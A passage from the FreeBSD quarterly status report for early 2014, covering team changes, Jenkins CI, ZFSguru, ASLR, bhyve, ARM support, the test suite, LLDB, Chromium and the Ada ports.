committers, took in three commit bits for safe keeping, and reinstated one commit bit. In January, the longest serving port manager, Joe Marcus Clarke, stepped down from his active duties on the team. At a similar time Ion-Mihai Tetcu also stepped down from his duties. Fortunately, as a result of the first portmgr-lurkers intake, we were able to replace them with Mathieu Arnold and Antoine Brodin. Commencing March 1, the second intake of portmgr-lurkers started active duty on portmgr for a four month duration. The next two candidates are Alexey Dokuchaev and Frederic Culot. This quarter also saw the release of the first quarterly branch, namely 2014Q1. This branch is intended to provide a stable and high-quality ports tree, with patches related to security fixes as well as packaging and runtime fixes being backported from head. Ongoing maintenance goes into redports.org, including QAT runs and ports and security updates. Open tasks: 1. As previously noted, many PRs continue to languish. We would like to see committers dedicate themselves to closing as many as possible. __________________________________________________________________ FreeBSD Postmaster Team Contact: FreeBSD Postmaster Team The FreeBSD Postmaster Team is responsible for mail being correctly delivered to the committers' email addresses, ensuring that the mailing lists work, and should take measures against possible disruptions of project mail services, such as having troll-, spam- and virus-filters. In the first quarter of 2014, the team has implemented these items that may be interest of the general public: * Continued a discussion on current and possible future mail and spam filtering. * Discovered more of what needs to be done for a new year (with respect to email archives), did what we could, and recorded the steps for next time. * Added Kubilay Kocak to donations, requested by Pietro Cerutti. * Added Warren Block to doceng. * Made sure portmgr receives bounces for pkg-fallout messages. * Created a jenkins-admin mail alias. * Enabled Mailman password reminder emails again. * Discovered that all Mailman cron jobs were disabled in November during upgrades. Enabled those again. This caused problems like digests not being sent. __________________________________________________________________ FreeBSD Release Engineering Team URL: http://www.FreeBSD.org/releases/9.3R/schedule.html URL: http://www.FreeBSD.org/releases/9.3R/todo.html URL: http://ftp.FreeBSD.org/pub/FreeBSD/snapshots/ISO-IMAGES/ Contact: FreeBSD Release Engineering Team The FreeBSD Release Engineering Team is responsible for setting and publishing release schedules for official project releases of FreeBSD, announcing code freezes and maintaining the respective branches, among other things. In early January, the team became aware of several last-minute showstopper issues in FreeBSD 10.0, which led to an extension in the final release builds. FreeBSD 10.0-RELEASE was announced on January 20, two months behind the original schedule. The schedule for the FreeBSD 9.3-RELEASE cycle has been written and posted to the website, and the release cycle will begin early May. There is ongoing work to integrate support for embedded architectures as part of the release build process. At this time, support exists for a number of ARM kernels, in particular the Raspberry Pi, BeagleBone, and WandBoard. This project is sponsored by The FreeBSD Foundation. __________________________________________________________________ Jenkins Continuous Integration for FreeBSD URL: https://jenkins.FreeBSD.org URL: https://wiki.freebsd.org/Jenkins#Jenkins_for_FreeBSD_status URL: https://wiki.freebsd.org/Jenkins#Presentations_and_Working_Groups URL: http://empt1e.blogspot.ru/2014/03/using-jenkins-libvirt-slave-plugi= n-with.html URL: http://jenkins-ci.org/ URL: http://www.ansible.com/ Contact: Craig Rodrigues Contact: Jenkins Administrators Contact: FreeBSD Testing Jenkins is a framework used by many companies and open source projects for Continuous Integration (CI). CI allows developers to commit code to a Source Code Management (SCM) system such as Subversion, and then have automated programs check out, build, and test the code. Jenkins is implemented in the Java language. Ed Maste reviewed some CI work that Craig Rodrigues had done for the FreeNAS project with Jenkins, and encouraged him to set up something similar for the FreeBSD Project. With the help of the FreeBSD Cluster Administration Team, he set up a FreeBSD machine running two bhyve virtual machines, jenkins-9.FreeBSD.org and jenkins-10.FreeBSD.org. He set up software builds of head and several stable branches on these machines. The status of these builds is visible on a web interface accessible at jenkins.FreeBSD.org. When any of the builds fail, emails are sent to freebsd-current or freebsd-stable. Emails are also sent directly to the list of people who recently committed code to Subversion since the last successful build. As part of the Jenkins setup, Craig Rodrigues encountered problems with running Java on FreeBSD 9.2 and FreeBSD 10.0. Both problems stemmed from changes to the FreeBSD Virtual Memory (VM) subsystem. On FreeBSD 9.2-RELEASE, running Jenkins under Java would cause the kernel to panic. This was a known problem, and fixed in 9.2.-RELEASE-p3. On FreeBSD 10.0-RELEASE, Java processes would randomly crash. Disabling the vm.pmap.pcid_enabled sysctl(3) variable seemed to fix the problem. In kern/187238, Henrik Gulbrandsen submitted fixes to the FreeBSD VM to address this problem. Konstantin Belousov committed the fixes to head, where they are being tested now. During the setup of the bhyve VMs which run Jenkins processes, Craig Rodrigues wrote scripts to start bhyve VMs from the rc.d bootup scripts, which were then published at GitHub. On February 19, 2014, Craig Rodrigues notified the FreeBSD developers that Jenkins was running in the FreeBSD cluster, and that they could look at the web interface to see the status of builds. On March 13, 2014, Craig Rodrigues gave a presentation of the Jenkins work at the Bay Area FreeBSD User Group (BAFUG) in Mountain View, California, USA. Video of the presentation was recorded and put online by iXsystems. Craig Rodrigues assembled a team of volunteers, jenkins-admin, to help maintain jenkins.FreeBSD.org and expand the use of Jenkins CI used in the FreeBSD cluster. jenkins-admin consists of the following people working in the following areas: * R. Tyler Croy is both a FreeBSD developer and a Jenkins developer. He will be working on fixing bugs in Jenkins specific to FreeBSD. He is first looking at fixing the libpam4j library which is used by Jenkins to interface with the PAM system for user authentication. The released version of libpam4j does not currently work on FreeBSD. * Li-Wen Hsu maintains the devel/jenkins port. He set up a Jenkins build which runs the scan-build static analyzer which is part of LLVM. * Steven Kreuzer has experience administering Jenkins systems. He set up several builds on jenkins.FreeBSD.org, including a Jenkins build of the FreeBSD documentation. He is looking into using Ansible for automatic provisioning of VMs running Jenkins in the FreeBSD cluster. * Craig Rodrigues will be running a Continuous Testing working group at the FreeBSD Devsummit in Ottawa on May 15, 2014. He will also give a Jenkins presentation on May 17, 2014. He is interested in working with Julio Merino to integrate Jenkins and Kyua. They have exchanged some emails about this on the freebsd-testing list. * Steve Wills maintains the devel/jenkins-lts port. He has implemented several builds at jenkins.FreeBSD.org which detect commits to the FreeBSD ports repository, and then build the ports tree using Poudri=C3=A8re. At the end of March, Roman Bogorodskiy reported to jenkins-admin that he has successfully run the Jenkins libvirt plugin with his libvirt modifications to integrate with bhyve. He provided a link to a blog posting where he described his experience. This project is sponsored by iXsystems, Inc. Open tasks: 1. Obtain certificates for LDAP and web servers, to replace self-signed certificates. 2. Set up more Jenkins builds of the FreeBSD base repository on different branches and with different configurations. 3. Set up more Jenkins builds of the FreeBSD ports repository on different FreeBSD versions. 4. Integrate with Kyua, so that Jenkins can run Kyua tests and report the results directly in the native Jenkins web UI where test results are reported. 5. Write scripts which can take a Jenkins build of FreeBSD, and boot the results in a bhyve VM or on real hardware. 6. Fix libpam4j on FreeBSD. 7. Continuous Testing working group at Devsummit on May 15, 2014 8. Jenkins presentation at BSDCan on May 17, 2014 __________________________________________________________________ ZFSguru URL: http://zfsguru.com/ Contact: Jason Edwards ZFSguru is a multifunctional server appliance with a strong emphasis on storage. It wants to deliver all the great BSD and ZFS technology to a wider audience, while at the same time pleasing more advanced users as well with unique features and customization. A "vanilla" ZFSguru installation comes with only Samba and a web-interface setup, but can be extended easily by installing addons called "services" to add functionality as desired. This prevents users from running programs they do not need and do not want. Advanced users can still use ZFSguru as they would a normal FreeBSD installation with a 100% ZFS setup ("Root-on-ZFS"). ZFSguru does not strip away anything, and uses a GENERIC-like kernel with only some additional settings added like InfiniBand networking, Device Polling and AltQ. This means you can use a ZFSguru installation as you would use a FreeBSD installation. In the first month of 2014, ZFSguru has released beta9 version of the web interface. This release brings vastly improved support for Samba and NFS configuration. In particular, it adds a convenient drag-and-drop interface for Samba permissions. This allows novice users to configure access to shares in various configurations. It allows both control and usability, with no manual being necessary in order to operate it. This is the ZFSguru style. New system versions have been released, based on FreeBSD 9.2, 10.0, and head. The experimental head version has vt(4) and X.org 7.12.4 and the Intel/Radeon KMS graphics drivers. That is, the latest and greatest of FreeBSD graphics development. The ZFSguru project plans to release stable/10 builds in the near future which also have the MFCed patches for vt(4), the KMS-enabled system console with Unicode support. Please see the vt(4) entry for more information. Support for ZFS version 5000 is now universal across 9.2, 10.0 and head builds. LZ4 compression is the key feature for ZFS version 5000. Otherwise users are advised to keep their pool versions as is, to be as compatible as you can with as many ZFS platforms as possible. Only upgrade the pool as you desire its functionality, forfeiting the compatibility with older storage platforms. Open tasks: 1. ZFSguru beta10 will increase the compatibility of newly added Samba functionality with non-Gecko browsers. It will also fix some minor bugs as well as speed up some pages by having a redesigned remote database system called GuruDB. 2. ZFSguru beta11 will add the one major feature still missing in ZFSguru: the Migration Manager. This allows users to maintain a file with all the configuration of their ZFSguru installation. It can be used like a firmware -- restoring the machine to the exact state and configuration of the snapshot configuration. It allows users to maintain a backup of their ZFSguru configuration and allows upgrading to a newer ZFSguru system version without any hassle. 3. Automated system builds should bring more system image releases. 4. New website with new forum and new login system. 5. Developer website with GitLab setup, allowing bug reports, code contributions, wiki, and wall messages. Note that GitLab has also been provided as a ZFSguru service, for those interested in trying GitLab. __________________________________________________________________ ASLR and PIE URL: http://0xfeedface.org/blog/lattera/2014-04-03/awesome-freebsd-aslr-= progress URL: https://github.com/lattera/freebsd/tree/soldierx/lattera/aslr URL: https://github.com/opntr/opBSD/tree/op/stable/10-aslr Contact: Shawn Webb Contact: Oliv=C3=A9r Pint=C3=A9r Address space layout randomization (ASLR) is a computer security technique involved in protection from buffer overflow attacks. In order to prevent an attacker from reliably jumping to a particular exploited function in memory, ASLR involves randomly arranging the positions of key data areas of a program, including the base of the executable and the positions of the stack, heap, and libraries, in a process' address space. We have added ASLR support to all architectures. As the primary developers behind this feature have the most access to amd64, the focus of development is on the amd64 architecture. Other architectures, such as ARM, have known bugs with our current ASLR implementation and we are working hard to fix them. We added support for Position-Independent Executables (PIEs) in a number of applications in base. Open tasks: 1. Shawn has access to a Raspberry Pi (RPI). PIE is 90% broken. Debug and fix major issues on the RPI. The existing NX stack protections are not obeyed on RPI. Properly implemented ASLR requires a NX stack. 2. Shawn will be receiving a sparc64 box on April 6, 2014. He will test ASLR on sparc64, identifying and fixing any bugs that pop up. 3. Oliv=C3=A9r has identified one or more bugs with the Linuxulator. He will be looking into that and fixing those. 4. Shawn will be cleaning up code and adding support for PIE to more applications in base. He will also add PIE support to the ports framework for general consumption. 5. Shawn will be giving a presentation regarding ASLR at BSDCan 2014. __________________________________________________________________ Intel GPU Driver Update Contact: Konstantin Belousov The project to update the Intel graphics chipset driver (i915kms) to a recent snapshot of the Linux upstream code continues. Progress was delayed by external circumstances, but it is hoped to reach a useful milestone in the near future. This project is sponsored by The FreeBSD Foundation. __________________________________________________________________ Native iSCSI Stack URL: https://wiki.freebsd.org/Native%20iSCSI%20target Contact: Edward Tomasz Napieral/a The new FreeBSD in-kernel iSCSI stack was functionally complete in FreeBSD 10.0-RELEASE, but ongoing enhancements and bug fixes are being committed to FreeBSD head, with a plan to merge them back to stable/10 in time for FreeBSD 10.1-RELEASE. Many issues have been resolved, including very slow operation with data digests enabled, bugs in persistent reservations which impacted Hyper-V Failover Cluster, and a negotiation problem affecting Dell Equallogic users. There have also been numerous enhancements, such as support for redirections, which are necessary for some High Availability setups, and the ability to modify session parameters in the iscsictl utility. Previously it was necessary to remove the session and add it again. This project is sponsored by The FreeBSD Foundation. __________________________________________________________________ New Automounter Contact: Edward Tomasz Napieral/a The automount project is nearing the functional prototype stage, and a call for testing is expected in the next month. The userspace portion consists of the automountd(8) daemon, which is designed to be fully compatible with its counterparts in OS X, Solaris, and Linux, and which is nearly complete. Work on the kernel component continues. This project is sponsored by The FreeBSD Foundation. __________________________________________________________________ PCI SR-IOV Infrastructure URL: https://github.com/rysto32/freebsd/tree/iov_ixgbe Contact: Ryan Stone PCI Single Root I/O Virtualization (SR-IOV) is an optional part of the PCIe standard that provides hardware acceleration for the virtualization of PCIe devices. When SR-IOV is in use, a function in a PCI device (known as a Physical Function, or PF) will present multiple Virtual PCI Functions (VF) on the PCI bus. These VFs are fully independent PCI devices that have access to the resources of the PF. For example, on a network interface card, VFs could transmit and receive packets independent of the PF. The most obvious use case for SR-IOV is virtualization. A hypervisor like bhyve could instantiate a VF for every VM and use PCI passthrough to assign the VFs to the VMs. This would allow multiple VMs to share access to the PCI device without having to do any expensive communication with the hypervisor, greatly increasing performance of performing I/O from a VM. There are two parts to this project. The first is implementing an API in the PCI subsystem for creating VFs and configuring standard PCI features like BARs. The second part is updating individual drivers for PCI devices that support SR-IOV to configure their VFs. For example, a network interface driver will typically have to assign a MAC address to a VF and configure the interface to route packets destined for that MAC address to the VF. At this point only SR-IOV support for the ixgbe(4) driver is planned. The PCI subsystem API is designed to be generic and should support SR-IOV on any device, but fairly extensive driver work is necessary to support SR-IOV, which is currently not planned due to lack of time and hardware. At present, ixgbe(4) is able to create VFs and the ixgbevf driver is able to pass traffic. There is still a fair amount of work to support VLAN tags, multicast addresses, and other features on the VFs. Also, the VF configuration needs to be better integrated with the PF initialization path to ensure that resets of the PF do not interrupt operation of the VFs. This project is sponsored by Sandvine, Inc. __________________________________________________________________ SDIO Driver URL: https://wiki.freebsd.org/SDIO URL: https://github.com/kibab/freebsd/tree/mmccam Contact: Ilya Bakulin SDIO is an interface designed as an extension of the existing SD card standard, allowing connection of different peripherals to the host with the standard SD controller. Peripherals currently sold on the general market include WLAN/BT modules, cameras, fingerprint readers, and barcode scanners. The FreeBSD driver is implemented as an extension to the existing MMC bus, adding a lot of new SDIO-specific bus methods. A prototype of the driver for the Marvell SDIO WLAN/BT (Avastar 88W8787) module is also being developed, using the existing Linux driver as a reference. SDIO card detection and initialization already work; most needed bus methods are implemented and tested. The WiFi driver is able to load firmware onto the card and initialize it. Migration of the MMC stack to the new locking model is necessary in order to work with SDIO cards effectively. The FreeBSD CAM implementation is believed to be a good choice. There is ongoing work to implement an MMC transport for CAM. Open tasks: 1. SDIO stack: finish CAM migration. The XPT layer is almost ready. What is missing is a SIM module, for which a modified version of the SDHCI controller driver will be used, and a peripheral module, where porting the mmcsd(4) driver is required. 2. Marvell SDIO WiFi: connect it to the FreeBSD network stack, write the code to implement required functions, such as sending and receiving data, network scanning and so on. __________________________________________________________________ UEFI Boot URL: https://wiki.freebsd.org/UEFI Contact: Ed Maste The Unified Extensible Firmware Interface (UEFI) provides boot- and run-time services for x86 computers, and is a replacement for the legacy BIOS. This project will adapt the FreeBSD loader and kernel boot process for compatibility with UEFI firmware, found on contemporary servers, desktops, and laptops. Starting with Rui Paulo's i386 EFI loader, Benno Rice developed a working proof-of-concept amd64 loader in 2013 under sponsorship from the FreeBSD Foundation. After refinement, that work has now been merged from the projects/uefi Subversion branch into FreeBSD head. The project includes the infrastructure to build a UEFI-enabled loader, and the kernel-side changes to parse metadata provided by the loader. A number of integration tasks remain, with a plan to have UEFI installation and boot support merged to stable/10 in time for FreeBSD 10.1-RELEASE. This project is sponsored by The FreeBSD Foundation. Open tasks: 1. Document manual installation, including dual-boot configurations. 2. Implement chain-loading from UFS/ZFS file systems. 3. Integrate UEFI configuration with the FreeBSD installer. 4. Support secure boot. __________________________________________________________________ Updated vt(4) System Console URL: https://wiki.freebsd.org/Newcons Contact: Aleksandr Rybalko Contact: Ed Maste Contact: Ed Schouten vt(4) is a modern replacement for the existing, quite old, virtual terminal emulator called syscons(4). Initially motivated by the lack of Unicode support and infrastructural issues in syscons(4), the project was later expanded to cover the new requirement to support Kernel Mode Setting (KMS). The project is now in head, stable/10 and stable/9 branches. Hence, vt(4) can be tested by using the VT kernel configuration (i386 and amd64) or by replacing two lines in the GENERIC kernel configuration file: device sc device vga with the following ones: device vt device vt_vga Or, to use for UEFI testing, add the following lines instead: device vt device vt_efifb Major highlights: * Unicode support. * Double-width character support for CJK characters. * xterm(1)-like terminal emulation. * Support for Kernel Mode Setting (KMS) drivers (i915kms, radeonkms). * Support for different fonts per terminal window. * Simplified drivers. Brief status of supported architectures and hardware: * amd64 (VGA/i915kms/radeonkms) -- works. * ARM framebuffer -- works. * i386 (VGA/i915kms/radeonkms) -- works. * IA64 -- untested. * MIPS -- untested. * PPC and PPC64 -- work, but without X.Org yet. * SPARC -- works on certain hardware (e.g., Ultra 5). * vesa(4) -- in progress. * i386/amd64 nVidia driver -- not supported. VGA should be used (VESA planned). * Xbox framebuffer driver -- will be deleted as unused. This project is sponsored by The FreeBSD Foundation. Open tasks: 1. Create sub-directories for vt(4) under /usr/share/ to store key maps and fonts. 2. Implement the remaining features supported by vidcontrol(1). 3. Write the vt(4) manual page. (This is in progress.) 4. Support direct handling of keyboard by the kbd device (without kbdmux(4)). 5. CJK fonts. (This is in progress). 6. Address performance issues on some architectures. 7. Switch to vt(4) by default. __________________________________________________________________ bhyve URL: http://www.bhyve.org/ URL: http://www.youtube.com/watch?v=3DlTOiSyu0-MA Contact: Peter Grehan Contact: Neel Natu Contact: John Baldwin Contact: Tycho Nightingale Contact: Allan Jude bhyve is a Type-1 hypervisor that runs on the FreeBSD platform. It currently only runs FreeBSD (9.x or later) and Linux guests; current development efforts aim at widening support for other x86 64-bit operating systems. After a great deal of work by all involved, bhyve was shipped as part of FreeBSD 10.0-RELEASE. Increased interest in bhyve and the first usable versions have provided great feedback and many bug reports. A number of important improvements have been made to bhyve this quarter: * Optionally ignore accesses to unimplemented MSRs * Support soft power-off via the ACPI S5 state for bhyve guests * Graceful shutdown via ACPI on SIGTERM * Fix an issue with virtio-blk devices on Linux guests with more than 4GB of RAM * Increase the block-layer backend maximum requests to match AHCI command queue depth * Add SMBIOS support * Improve support for nmdm, opening the tty non-blocking * Add HPET device emulation * Implement the "Virtual Interrupt Delivery" and "Posted Interrupt Processing" VT-x features on newer Intel CPUs * Add support for booting FreeBSD/i386 guests * Add virtualized XSAVE support for features like AVX * Add Support for booting from ZFS with bhyveload Open tasks: 1. Improve documentation. 2. Write Handbook chapter for bhyve. 3. Merge fixes and features back to stable/10. 4. Support for booting with UEFI instead of userspace loaders. 5. CSM BIOS boot support for FreeBSD (which has no UEFI support currently). 6. Add support for virtio-scsi. 7. Improve virtio-net, add offload features, support multiple queues. 8. Implement Intel 82580 and e1000 NIC emulation. 9. Netmap support. 10. Flexible networking backend: wanproxy, vhost-net. 11. Improve resource accounting. 12. Move to a single process model, instead of bhyveload and bhyve. 13. Support running bhyve as non-root. 14. Add filters for popular VM file formats (VMDK, VHD, QCOW2). 15. Implement an abstraction layer for video (no X11 or SDL in base system). 16. Support for VNC as a video output. 17. Implement USB and Sound. 18. Suspend/resume support. 19. Live Migration. 20. Nested VT-x support (bhyve in bhyve). 21. Support for other architectures (ARM, MIPS, PPC). __________________________________________________________________ FreeBSD Host Support for OpenStack and OpenContrail URL: http://www.openstack.org/ URL: http://www.opencontrail.org/ URL: https://github.com/Semihalf/openstack-devstack URL: https://github.com/Semihalf/openstack-nova URL: https://github.com/Semihalf/contrail-vrouter URL: https://blueprints.launchpad.net/nova/+spec/freebsd-compute-node Contact: Grzegorz Bernacki Contact: Micha=C5=82 Dubiel Contact: Dominik Ermel Contact: Rafa=C5=82 Jaworowski OpenStack is a cloud operating system that controls large pools of compute, storage, and networking resources in a data center. OpenContrail is a network virtualization (SDN) solution comprising a network controller, virtual router, and analytics engine, which can be integrated with cloud orchestration systems like OpenStack or CloudStack. The goal of this work is to make FreeBSD a fully supported compute host for OpenStack using OpenContrail virtualized networking. The main areas of development are: * Libvirt hypervisor driver for bhyve. * Support for bhyve (via the libvirt compute driver) and the FreeBSD platform in overall in nova-compute. * Port OpenContrail vRouter (forwarding plane kernel module) to FreeBSD. * Port OpenContrail Agent (network controller node) to FreeBSD. * Integration, performance optimization. The current state of development allows for a working demo of OpenStack with compute node component running on a FreeBSD host: * The native bhyve hypervisor is driven by a nova-compute component for spawning guest instances using libvirt and a nova-network component for providing simple networking using bridges between guest VMs. * QEMU might also be used instead of bhyve this way. * The main goal on the networking side is to use the OpenContrail solution, compliant with the modern OpenStack networking API ("neutron"). Also, an initial port of the OpenContrail vRouter kernel module has been completed. It successfully handles all networking on the host. This project is sponsored by Juniper Networks. __________________________________________________________________ FreeBSD on Chromebook URL: https://wiki.freebsd.org/FreeBSD/arm/Chromebook Contact: Ruslan Bukin One model of Chromebook is an ARMv7 Cortex-A15 personal computer powered by a Samsung Exynos 5 Dual System-on-Chip. As of the current status of this project, such laptops can be booted with FreeBSD from USB flash -- it works stably (including SMP) and it can build third-party applications. The display and keyboard work. Thanks to Peter Grehan for providing hardware. Open tasks: 1. Implement keyboard polling mode. 2. Add support for the upcoming second generation of Chromebook. 3. Write SD, SATA drivers. __________________________________________________________________ FreeBSD/arm64 URL: http://svnweb.freebsd.org/base/projects/arm64/ URL: https://github.com/zxombie/aarch64-freebsd-sandbox Contact: Andrew Turner Arm64 is the name of the in-progress port of FreeBSD to the ARMv8 CPU when it is in AArch64 mode. Until recently, all ARM CPU designs were 32-bit only. With the introduction of the ARMv8 architecture, ARM has added a new 64-bit mode. This new mode has been named AArch64. Progress has been good on getting FreeBSD to build and run on the ARM Foundation model. FreeBSD is able to be built for this architecture, however, it requires a number of external tools including objdump(1) and ld(1). These tools are provided by an external copy of binutils until replacements can be written. FreeBSD will run the early boot on the Foundation model. The loader has been ported to the AArch64 UEFI environment and can load and run the kernel. The kernel is able to create the initial page tables to be able to run from virtual memory. It can then execute C code to parse the memory map provided by the loader. This is as far as the kernel currently boots. This work is now happening in the FreeBSD Subversion repository in a project branch, see the links. Open tasks: 1. Implement an initial pmap(9) layer. 2. Write the missing machine-dependent code. 3. Test on real hardware. __________________________________________________________________ FreeBSD/armv6hf Contact: Andrew Turner FreeBSD has been updated to allow it to use the VFP variant of the ARM EABI ABI. The VFP unit is the ARM hardware to perform floating-point operations. This changes the ABI to improve the performance of code that uses floating-point operations. By default, FreeBSD already uses the ARM EABI on all releases from 10.0. This is important for FreeBSD/arm users running code with floating-point operations on ARMv6 or ARMv7 SoC systems. It removes the need for the slow software floating-point support in libc. This is mostly compatible with the existing ABI, with the exception of how floating-point values are passed into functions. Because no floating-point values are passed to the kernel, the armv6 and armv6hf kernels will work with either userland. As part of this change, some support functions have been updated to use the VFP unit when available. The existing armv6 target architecture will be kept for cases where the SoC lacks a VFP unit, or existing binaries that are incompatible with the new ABI. Open tasks: 1. Testing. 2. More testing. __________________________________________________________________ SMP on Multi-Core ARM Systems URL: http://lists.freebsd.org/pipermail/freebsd-arm/2014-April/007886.ht= ml Contact: Ian Lepore Contact: Olivier Houchard Contact: Wojciech Macek FreeBSD now supports Symmetrical MultiProcessing (SMP) on a variety of ARM multi-core systems. The effort to bring SMP to ARM has been underway for quite some time, but a major push by the FreeBSD ARM developer community over the past two months has resulted in robust production-ready SMP support. An ever-growing number of ARM-based development boards and small low-power computer systems are available with multi-core processors. FreeBSD is now able to make good use of all that computing power, making such systems more attractive to both end users and vendors looking to create products based on similar designs. As of r264138 in FreeBSD head, SMP is now enabled by default in the configuration files for all currently-supported systems that have multi-core processors. This includes systems based on the following processor families: * Allwinner A20 * Freescale i.MX6 * Marvell Armada XP * Samsung Exynos 5 * Texas Instruments OMAP4 We plan to merge this work to stable/10 in time for 10.1-RELEASE. This project is sponsored by Microsemi, Inc., and Semihalf sp.j. __________________________________________________________________ auditdistd(8) Contact: Pawel Jakub Dawidek The auditdistd(8) daemon is responsible for distributing audit trail files over TCP/IP networks securely and reliably. The daemon now supports client-side certificates, which can be used to automatically configure the receiver side -- the directory name for received trail files is determined based on the commonName field in client's certificate. There is no need any more to add every sender to the receiver's configuration file. The sender's functionality was extended to allow sending audit trail files to multiple receivers. Complete Public Key Infrastructure (PKI) support is now implemented, including full certificate chain verification, Certificate Revocation Lists (CRL) verification at every level and support for multiple Certificate Authority (CA) certificates. This project is sponsored by The FreeBSD Foundation. __________________________________________________________________ External Toolchain Improvements URL: https://wiki.freebsd.org/ExternalToolchain Contact: Warner Losh Building on the work that Brooks Davis did to enable external Clang toolchains, this project hopes to generalize that to GCC, as well as support different versions of these compilers simultaneously for the FreeBSD base system and the kernel. We also hope get to the point that a port can be cross-compiled entirely from scratch with no initial binary artifacts. Open tasks: 1. Setup Subversion project repository. 2. Fix issues with differences of interpretation of the -B argument between GCC and Clang. 3. Support building the entire tree based only on xdev-built compilers. 4. Support building the entire tree based only on ports-built GCC compilers. 5. Support full bootstrapping of FreeBSD to new platforms. __________________________________________________________________ Forward Port FreeBSD GCC Contact: Warner Losh Not all of the FreeBSD changes to GCC have been reflected upstream. A large amount of the platform support as well as a couple of minor improvements like the kernel formatting checker need to be forward ported (and if possible, moved upstream into GCC). We will be targeting the FreeBSD ports tree lang/gcc* ports for these efforts to (optionally) include them in these builds. Some variation from normal builds may be required due to bootstrapping issues when combined with the external toolchain enhancements project. __________________________________________________________________ FreeBSD Test Suite URL: http://wiki.FreeBSD.org/TestSuite URL: http://kyua1.nyi.FreeBSD.org/ URL: http://julipedia.meroh.net/2014/01/freebsd-test-suite-goals-and-pla= nning.html URL: https://drive.google.com/a/meroh.net/#folders/0B08g-X1kPkSYNmlEdTB5= RjlFbkk Contact: Julio Merino The FreeBSD Test Suite project aims to equip FreeBSD with a comprehensive collection of tests that are easy to run out of the box and during the development of the system. The test suite is installed into /usr/tests/ and the kyua(1) command-line tool (devel/kyua in the Ports Collection) is used to run them. See the project page for more details. Since the last status report, we have been hard at work polishing the framework in many different areas. The highlights are: * A roadmap for the project has been prepared and published, see links. * Many tests have been added to the test suite thanks to the work of various developers and, in particular, a good bunch of old tests from src/tools/regression/ have been incorporated into the new test suite. As of this writing, there are 509 test cases continuously running. * The testing infrastructure in the stable/10 branch has been synced to head. It should now be possible to seamlessly MFC changes to the stable branch along with their tests, if any. * The testing cluster, which only issued amd64 builds, has been extended to perform i386 builds as well. Additionally, a canary machine has been put in place so that changes to the cluster configuration can be properly validated before deployment. * A tutorial on Kyua and the FreeBSD Test Suite was given at AsiaBSDCon 2014. The tutorial materials are available for public consumption, please consult the links. * Both Kyua's and ATF's upstream sites have been moved to GitHub, mostly due to the discontinuation of file downloads in Google Code. Open tasks: 1. Enable the build of the test suite by default. 2. Add alerting for failed or missing test runs from the testing cluster. 3. Add bhyve support to the testing cluster for faster turnaround times. 4. Simplify and improve Kyua HTML reports. In particular, reports will be coalesced into single HTML files for easier management and will include more useful details for debugging. Such details are the revision at which the system was built, the date and duration of the whole run, or the list of installed packages, to mention a few examples. 5. Add JUnit XML output to Kyua for better integration with Jenkins. This work is actively ongoing and should be ready for prime time at BSDCan 2014. __________________________________________________________________ LLDB Debugger Port URL: https://wiki.FreeBSD.org/lldb Contact: Ed Maste LLDB is the debugger project associated with Clang/LLVM. It supports the Mac OS X, Linux, and FreeBSD platforms, with ongoing work on Windows. It builds on existing components in the larger LLVM project, for example using Clang's expression parser and LLVM's disassembler. The majority of work since the last status update has been on bugfixes and implementation of the remaining functionality missing on FreeBSD. Most of these improvements are now in the LLDB snapshot in the base system, which has been updated to upstream Subversion revision r202189. Some highlights of the new update include: * Improvements to the remote GDB protocol client. * Bug fixes for big-endian targets. * Initial support for libdispatch (GCD) queues in the debuggee. * Add "step-avoid-libraries" setting. * IO subsystem improvements (including initial work on a curses GUI). * Support hardware watchpoints. * Improved unwinding through hand-written assembly functions. * Handle DW_TAG_unspecified_parameters for variadic functions. * Fix Ctrl+C interrupting a running inferior process. * Various bug fixes for memory leaks, LLDB segfaults, the C++ demangler, ELF core files, DWARF debug info, and others. LLDB is currently not yet built by default and may be enabled by adding WITH_LLDB=3D to src.conf(5). A port will be made available for those who wish to track ongoing development more closely. This project is sponsored by DARP/AFRL, SRI International, and University of Cambridge. Open tasks: 1. Add support for remote debugging (gdbserver-compatible debugserver). 2. Add support for local and core file kernel debugging. 3. Implement, fix or test support on all non-amd64 architectures. 4. Verify cross-debugging. 5. Investigate and fix test suite failures. 6. Package LLDB as a port. 7. Enable by default in the base system for working architectures. __________________________________________________________________ Chromium URL: http://www.chromium.org/Home URL: https://github.com/gliaskos/freebsd-chromium URL: https://wiki.freebsd.org/Chromium Contact: Chromium on FreeBSD Team Chromium is the open source web browser project from which Google Chrome draws its source code. The browsers share the majority of code and features, though there are some minor differences in features and they have different licensing. Over the last four years, the Chromium team has been busy with porting Chromium to FreeBSD. This involves patching the browser so that it runs on FreeBSD, tracking and documenting security updates, and merging patches back upstream. While there are already several browsers available for FreeBSD, advantages of Chromium are: * Quick response from upstream to security issues, resulting in approximately bi-weekly updates. * A testbed for security features of FreeBSD, like Capsicum. While support for this capability and sandbox framework is currently not included in the browser, a proof-of-concept implementation for an early version of Chromium was realized within a single weekend. George Liaskos and Ren=C3=A9 Ladan are currently busy with submitting the remaining patches specific to FreeBSD back upstream. Apart from making future updates easier, it sometimes also improves the overall code quality. Jonathan Anderson recently updated the Capsicum patches for Chromium and is talking to upstream about them. Open tasks: 1. Advocate FreeBSD. While patches are getting accepted by both humans and bots, it is not an official platform so attitude varies from developer to developer. While Ren=C3=A9 Ladan thinks it is a bit ear= ly, it might be fruitful to investigate what is required to make FreeBSD (and possibly OpenBSD) an official platform in terms of both hardware and procedures. 2. If you feel comfortable with large source trees, you can try to build the Git version of Chromium on FreeBSD. If you are also comfortable with signing Google's Contributor License Agreement, you can join in testing and submitting patches upstream. __________________________________________________________________ FreeBSD Ada Ports URL: http://www.dragonlace.net/ URL: http://www.spark-2014.org/about/ Contact: John Marino Ada is a structured, statically typed, imperative, wide-spectrum, and object-oriented high-level computer programming language, extended from Pascal and other languages, originally targeted at embedded and real-time systems. The number of Ada ports in the collection has grown significantly since the last report six months ago. There are almost 50 Ada-related ports now, with new ones getting added all the time. The previous plan was to move from the GCC 4.7-based GNAT compiler to a GCC 4.8-based one, but finally GCC 4.8 was skipped and now a GCC 4.9-based GNAT is the standard Ada compiler, which fully supports the new ISO standard, Ada 2012. Moving to a newer compiler allowed several important ports like PolyOrb and GPRBuild to be upgraded to the latest available versions. In fact, almost every Ada port is currently at its most recent upstream version. For non-Windows-based Ada development, FreeBSD and DragonFly are now undisputed as the go-to platforms. The other candidates are Debian and Fedora, but there are few Ada softwares on those platforms that are not also in the FreeBSD ports tree, and the FreeBSD versions are much newer. The Ports Collection also features software not found anywhere else such as the USAFA's Ironsides DNS server, libsparkcrypto, matreshka, GNATDroid (Android cross-compiler) and 